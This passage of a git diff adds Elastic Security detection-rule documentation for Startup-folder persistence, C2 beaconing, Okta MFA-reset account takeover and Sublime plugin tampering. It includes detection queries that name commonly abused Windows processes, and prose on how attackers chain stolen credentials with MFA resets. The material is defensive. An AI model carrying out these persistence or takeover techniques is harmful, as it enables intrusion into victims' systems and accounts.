"C:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe", + "C:\\$WINDOWS.~BT\\Sources\\SetupHost.exe", + "C:\\Program Files\\Cisco Spark\\CiscoCollabHost.exe", + "C:\\Sistemas\\Programas MP\\CCleaner\\CCleaner64.exe", + "C:\\Program Files (x86)\\FastTrack Software\\Admin By Request\\AdminByRequest.exe", + "C:\\Program Files (x86)\\Exclaimer Ltd\\Cloud Signature Update Agent\\Exclaimer.CloudSignatureAgent.exe", + "C:\\ProgramData\\Lenovo\\Vantage\\AddinData\\LenovoBatteryGaugeAddin\\x64\\QSHelper.exe", + "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\*\\Installer\\setup.exe", + "C:\\ProgramData\\bomgar-scc-*\\bomgar-scc.exe", + "C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil*_pepper.exe", + "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.EXE", + "C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*\\AdobeARM.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-startup-persistence-by-a-suspicious-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-startup-persistence-by-a-suspicious-process.asciidoc new file mode 100644 index 0000000000..3b40da6a5a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-startup-persistence-by-a-suspicious-process.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-startup-persistence-by-a-suspicious-process]] +=== Startup Persistence by a Suspicious Process + +Identifies files written to or modified in the startup folder by commonly abused processes. Adversaries may use this technique to maintain persistence. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1 +* https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Startup Persistence by a Suspicious Process* + + +The Windows Startup folder is a special folder in Windows. Programs added to this folder are executed during account logon, without user interaction, providing an excellent way for attackers to maintain persistence. + +This rule monitors for commonly abused processes writing to the Startup folder locations. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- Administrators may add programs to this mechanism via command-line shells. Before the further investigation, verify that this activity is not benign. + + +*Related rules* + + +- Suspicious Startup Shell Folder Modification - c8b150f0-0164-475b-a75e-74b47800a9ff +- Persistent Scripts in the Startup Directory - f7c4dc5a-a58d-491d-9f14-9b66507121c0 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + user.domain != "NT AUTHORITY" and + file.path : ("C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", + "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\*") and + process.name : ("cmd.exe", + "powershell.exe", + "wmic.exe", + "mshta.exe", + "pwsh.exe", + "cscript.exe", + "wscript.exe", + "regsvr32.exe", + "RegAsm.exe", + "rundll32.exe", + "EQNEDT32.EXE", + "WINWORD.EXE", + "EXCEL.EXE", + "POWERPNT.EXE", + "MSPUB.EXE", + "MSACCESS.EXE", + "iexplore.exe", + "InstallUtil.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-statistical-model-detected-c2-beaconing-activity-with-high-confidence.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-statistical-model-detected-c2-beaconing-activity-with-high-confidence.asciidoc new file mode 100644 index 0000000000..e9edf80126 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-statistical-model-detected-c2-beaconing-activity-with-high-confidence.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-statistical-model-detected-c2-beaconing-activity-with-high-confidence]] +=== Statistical Model Detected C2 Beaconing Activity with High Confidence + +A statistical model has identified command-and-control (C2) beaconing activity with high confidence. Beaconing can help attackers maintain stealthy communication with their C2 servers, receive instructions and payloads, exfiltrate data and maintain persistence in a network. + +*Rule type*: query + +*Rule indices*: + +* ml_beaconing.all + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/beaconing +* https://www.elastic.co/security-labs/identifying-beaconing-malware-using-elastic + +*Tags*: + +* Domain: Network +* Data Source: Elastic Defend +* Use Case: C2 Beaconing Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Domain: Endpoint + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Statistical Model Detected C2 Beaconing Activity with High Confidence* + + +Statistical models analyze network traffic patterns to identify anomalies indicative of C2 beaconing, a tactic where attackers maintain covert communication with compromised systems. Adversaries exploit this to issue commands, exfiltrate data, and sustain network presence. The detection rule leverages a high beaconing score to flag potential threats, aiding analysts in pinpointing suspicious activities linked to C2 operations. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the source and destination IP addresses associated with the beaconing activity flagged by the beacon_stats.beaconing_score of 3. +- Correlate the identified IP addresses with known malicious IP databases or threat intelligence feeds to determine if they are associated with known C2 servers. +- Analyze the frequency and pattern of the beaconing activity to assess whether it aligns with typical C2 communication patterns, such as regular intervals or specific time frames. +- Investigate the domain names involved in the communication to check for any associations with malicious activities or suspicious registrations. +- Examine the payloads or data transferred during the flagged communication sessions to identify any potential exfiltration of sensitive information or receipt of malicious instructions. +- Cross-reference the involved systems with internal asset inventories to determine if they are critical assets or have been previously flagged for suspicious activities. +- Consult with the incident response team to decide on containment or remediation actions if the investigation confirms malicious C2 activity. + + +*False positive analysis* + + +- Regularly scheduled software updates or patch management systems may generate network traffic patterns similar to C2 beaconing. Users can create exceptions for known update servers to reduce false positives. +- Automated backup systems that frequently communicate with cloud storage services might be flagged. Identifying and excluding these backup services from the analysis can help mitigate this issue. +- Network monitoring tools that periodically check connectivity or system health can mimic beaconing activity. Whitelisting these monitoring tools can prevent them from being incorrectly flagged. +- Internal applications that use polling mechanisms to check for updates or status changes may trigger alerts. Documenting and excluding these applications from the rule can minimize false positives. +- Frequent communication with trusted third-party services, such as content delivery networks, may appear as beaconing. Establishing a list of trusted domains and excluding them from the analysis can help manage this. + + +*Response and remediation* + + +- Isolate the affected systems from the network to prevent further communication with the C2 server and contain the threat. +- Conduct a thorough analysis of the network traffic logs to identify any additional compromised systems or lateral movement within the network. +- Remove any malicious software or scripts identified on the compromised systems, ensuring all traces of the C2 communication channels are eradicated. +- Apply security patches and updates to all affected systems to close any vulnerabilities exploited by the attackers. +- Change all credentials and authentication tokens associated with the compromised systems to prevent unauthorized access. +- Monitor the network for any signs of re-infection or continued C2 activity, using enhanced detection rules and updated threat intelligence. +- Escalate the incident to the appropriate internal security team or external cybersecurity experts for further investigation and to assess the potential impact on the organization. + +==== Setup + + + +*Setup* + + +The rule requires the Network Beaconing Identification integration assets to be installed, as well as network logs collected by the Elastic Defend integration. + + +*Network Beaconing Identification Setup* + +The Network Beaconing Identification integration consists of a statistical framework to identify C2 beaconing activity in network logs. + + +*Prerequisite Requirements:* + +- Fleet is required for Network Beaconing Identification. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Network events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Network Beaconing Identification integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Network Beaconing Identification and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. + + +==== Rule query + + +[source, js] +---------------------------------- +beacon_stats.beaconing_score: 3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-statistical-model-detected-c2-beaconing-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-statistical-model-detected-c2-beaconing-activity.asciidoc new file mode 100644 index 0000000000..8b6c6d84fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-statistical-model-detected-c2-beaconing-activity.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-statistical-model-detected-c2-beaconing-activity]] +=== Statistical Model Detected C2 Beaconing Activity + +A statistical model has identified command-and-control (C2) beaconing activity. Beaconing can help attackers maintain stealthy communication with their C2 servers, receive instructions and payloads, exfiltrate data and maintain persistence in a network. + +*Rule type*: query + +*Rule indices*: + +* ml_beaconing.all + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/beaconing +* https://www.elastic.co/security-labs/identifying-beaconing-malware-using-elastic + +*Tags*: + +* Domain: Network +* Data Source: Elastic Defend +* Use Case: C2 Beaconing Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Domain: Endpoint + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Statistical Model Detected C2 Beaconing Activity* + + +Statistical models analyze network traffic patterns to identify anomalies indicative of C2 beaconing, a tactic used by attackers to maintain covert communication with compromised systems. Adversaries exploit this by sending periodic signals to C2 servers, often mimicking legitimate traffic. The detection rule leverages statistical analysis to flag unusual beaconing while excluding known benign processes, thus highlighting potential threats without overwhelming analysts with false positives. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the source and destination IP addresses associated with the beaconing activity flagged by the statistical model. +- Cross-reference the identified IP addresses with threat intelligence databases to determine if they are associated with known malicious C2 servers. +- Analyze the frequency and pattern of the beaconing signals to assess whether they mimic legitimate traffic or exhibit characteristics typical of C2 communication. +- Investigate the processes running on the source system to identify any suspicious or unauthorized applications that may be responsible for the beaconing activity. +- Check for any recent changes or anomalies in the system's configuration or installed software that could indicate a compromise. +- Examine the historical network activity of the source system to identify any other unusual patterns or connections that may suggest a broader compromise. + + +*False positive analysis* + + +- The rule may flag legitimate processes that exhibit periodic network communication patterns similar to C2 beaconing. Processes like "metricbeat.exe" and "packetbeat.exe" are known to generate regular network traffic for monitoring purposes. +- Users can manage these false positives by adding exceptions for these known benign processes in the detection rule, ensuring they are not flagged as threats. +- Regularly review and update the list of excluded processes to include any new legitimate applications that may mimic beaconing behavior, reducing unnecessary alerts. +- Consider implementing a whitelist approach for processes that are verified as non-threatening, allowing the statistical model to focus on truly anomalous activities. +- Engage with network and security teams to understand the normal traffic patterns of your environment, which can help in refining the detection rule and minimizing false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further communication with the C2 server and limit potential data exfiltration. +- Terminate any suspicious processes identified by the alert that are not part of the known benign list, ensuring that any malicious activity is halted. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove any malicious software or files. +- Review and analyze network logs to identify any other systems that may have communicated with the same C2 server, and apply similar containment measures to those systems. +- Restore the affected system from a known good backup to ensure that any persistent threats are removed, and verify the integrity of the restored system. +- Implement network segmentation to limit the ability of compromised systems to communicate with critical infrastructure and sensitive data. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional measures are needed to prevent recurrence. + +==== Setup + + + +*Setup* + + +The rule requires the Network Beaconing Identification integration assets to be installed, as well as network logs collected by the Elastic Defend integration. + + +*Network Beaconing Identification Setup* + +The Network Beaconing Identification integration consists of a statistical framework to identify C2 beaconing activity in network logs. + + +*Prerequisite Requirements:* + +- Fleet is required for Network Beaconing Identification. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Network events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Network Beaconing Identification integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Network Beaconing Identification and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. + + +==== Rule query + + +[source, js] +---------------------------------- +beacon_stats.is_beaconing: true and +not process.name: ("WaAppAgent.exe" or "metricbeat.exe" or "packetbeat.exe" or "WindowsAzureGuestAgent.exe" or "HealthService.exe" or "Widgets.exe" or "lsass.exe" or "msedgewebview2.exe" or + "MsMpEng.exe" or "OUTLOOK.EXE" or "msteams.exe" or "FileSyncHelper.exe" or "SearchProtocolHost.exe" or "Creative Cloud.exe" or "ms-teams.exe" or "ms-teamsupdate.exe" or + "curl.exe" or "rundll32.exe" or "MsSense.exe" or "wermgr.exe" or "java" or "olk.exe" or "iexplore.exe" or "NetworkManager" or "packetbeat" or "Ssms.exe" or "NisSrv.exe" or + "gamingservices.exe" or "appidcertstorecheck.exe" or "POWERPNT.EXE" or "miiserver.exe" or "Grammarly.Desktop.exe" or "SnagitEditor.exe" or "CRWindowsClientService.exe" or + "agentbeat" or "dnf" or "yum" or "apt" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-stolen-credentials-used-to-login-to-okta-account-after-mfa-reset.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-stolen-credentials-used-to-login-to-okta-account-after-mfa-reset.asciidoc new file mode 100644 index 0000000000..736d9166a0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-stolen-credentials-used-to-login-to-okta-account-after-mfa-reset.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-stolen-credentials-used-to-login-to-okta-account-after-mfa-reset]] +=== Stolen Credentials Used to Login to Okta Account After MFA Reset + +Detects a sequence of suspicious activities on Windows hosts indicative of credential compromise, followed by efforts to undermine multi-factor authentication (MFA) and single sign-on (SSO) mechanisms for an Okta user account. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-okta* +* .alerts-security.* +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 6h + +*Searches indices from*: now-12h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Persistence +* Use Case: Identity and Access Audit +* Data Source: Okta +* Data Source: Elastic Defend +* Rule Type: Higher-Order Rule +* Domain: Endpoint +* Domain: Cloud +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Okta +* Domain: Identity + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Stolen Credentials Used to Login to Okta Account After MFA Reset* + + +This rule detects a sequence of suspicious activities on Windows hosts indicative of credential compromise, followed by efforts to undermine multi-factor authentication (MFA) and single sign-on (SSO) mechanisms for an Okta user account. + +Typically, adversaries initially extract credentials from targeted endpoints through various means. Subsequently, leveraging social engineering, they may seek to reset the MFA credentials associated with an Okta account, especially in scenarios where Active Directory (AD) services are integrated with Okta. Successfully resetting MFA allows the unauthorized use of stolen credentials to gain access to the compromised Okta account. The attacker can then register their own device for MFA, paving the way for unfettered access to the user's Okta account and any associated SaaS applications. This is particularly alarming if the compromised account has administrative rights, as it could lead to widespread access to organizational resources and configurations. + + +*Possible investigation steps:* + +- Identify the user account associated with the Okta login attempt by examining the `user.name` field. +- Identify the endpoint for the Credential Access alert for this user by examining the `host.name` and `host.id` fields from the alert document. +- Cross-examine the Okta user and endpoint user to confirm that they are the same person. +- Reach out to the user to confirm if they have intentionally reset their MFA credentials recently or asked for help in doing so. +- If the user is unaware of the MFA reset, incident response may be required immediately to prevent further compromise. + + +*False positive analysis:* + +- A Windows administrator may have triggered a low-fidelity credential access alert during a legitimate administrative action. Following this, the administrator may have reset the MFA credentials for themselves and then logged into the Okta console for AD directory services integration management. + + +*Response and remediation:* + +- If confirmed that the user did not intentionally have their MFA factor reset, deactivate the user account. +- After deactivation, reset the user's password and MFA factor to regain control of the account. + - Ensure that all user sessions are stopped during this process. +- Immediately reset the user's AD password as well if Okta does not sync back to AD. +- Forensic analysis on the user's endpoint may be required to determine the root cause of the compromise and identify the scope of the compromise. +- Review Okta system logs to identify any other suspicious activity associated with the user account, such as creation of a backup account. +- With the device ID captured from the MFA factor reset, search across all Okta logs for any other activity associated with the device ID. + +==== Setup + + +The Okta and Elastic Defend fleet integration structured data is required to be compatible with this rule. Directory services integration in Okta with AD synced is also required for this rule to be effective as it relies on triaging `user.name` from Okta and Elastic Defend events. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.name with maxspan=12h + [any where host.os.type == "windows" and signal.rule.threat.tactic.name == "Credential Access"] + [any where data_stream.dataset == "okta.system" and okta.event_type == "user.mfa.factor.update"] + [any where data_stream.dataset == "okta.system" and okta.event_type: ("user.session.start", "user.authentication*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sublime-plugin-or-application-script-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sublime-plugin-or-application-script-modification.asciidoc new file mode 100644 index 0000000000..0c8a570716 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sublime-plugin-or-application-script-modification.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-sublime-plugin-or-application-script-modification]] +=== Sublime Plugin or Application Script Modification + +Adversaries may create or modify the Sublime application plugins or scripts to execute a malicious payload each time the Sublime application is started. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sublime Plugin or Application Script Modification* + + +Sublime Text, a popular text editor, supports plugins and scripts written in Python to enhance functionality. Adversaries may exploit this by altering these scripts to execute malicious code whenever the application launches, achieving persistence. The detection rule identifies suspicious modifications or creations of Python files in specific Sublime directories on macOS, excluding legitimate processes, to flag potential threats. + + +*Possible investigation steps* + + +- Review the file path and name of the modified or created Python file to determine if it aligns with known Sublime Text plugin directories, specifically checking paths like "/Users/*/Library/Application Support/Sublime Text*/Packages/*.py" and "/Applications/Sublime Text.app/Contents/MacOS/sublime.py". +- Examine the process that triggered the file change or creation event, ensuring it is not one of the excluded legitimate processes such as those from "/Applications/Sublime Text*.app/Contents/*" or "/usr/local/Cellar/git/*/bin/git". +- Analyze the contents of the modified or newly created Python file for any suspicious or unauthorized code, focusing on scripts that may execute commands or connect to external networks. +- Check the modification or creation timestamp of the file to correlate with any known user activity or other security events that occurred around the same time. +- Investigate the user account associated with the file modification to determine if the activity aligns with their typical behavior or if it might indicate compromised credentials. +- Look for any additional indicators of compromise on the host, such as unusual network connections or other file modifications, to assess the broader impact of the potential threat. + + +*False positive analysis* + + +- Legitimate Sublime Text updates or installations may trigger the rule by modifying or creating Python files in the specified directories. Users can mitigate this by temporarily disabling the rule during known update periods or by verifying the update source. +- Development activities involving Sublime Text plugins or scripts can cause false positives. Developers should consider excluding their specific user paths or processes from the rule to prevent unnecessary alerts. +- Automated backup or synchronization tools that modify Sublime Text configuration files might be flagged. Users can exclude these tools' processes from the rule to avoid false positives. +- System maintenance or cleanup scripts that interact with Sublime Text directories could trigger alerts. Identifying and excluding these scripts from the rule can help manage false positives. +- Version control operations, such as those involving git, may modify files in the monitored directories. Users should ensure that legitimate git processes are included in the exclusion list to prevent false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of any potential malicious activity. +- Terminate any suspicious processes related to Sublime Text that are not part of the legitimate process list provided in the detection rule. +- Restore the modified or newly created Python files in the specified Sublime directories from a known good backup to ensure no malicious code persists. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection tools to identify and remove any additional malicious payloads. +- Review system logs and the history of file changes to identify any unauthorized access or modifications, and document findings for further analysis. +- Escalate the incident to the security operations team for a deeper investigation into potential compromise vectors and to assess the need for broader organizational response. +- Implement additional monitoring on the affected system and similar environments to detect any recurrence of the threat, ensuring enhanced logging for the specified directories and processes. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS 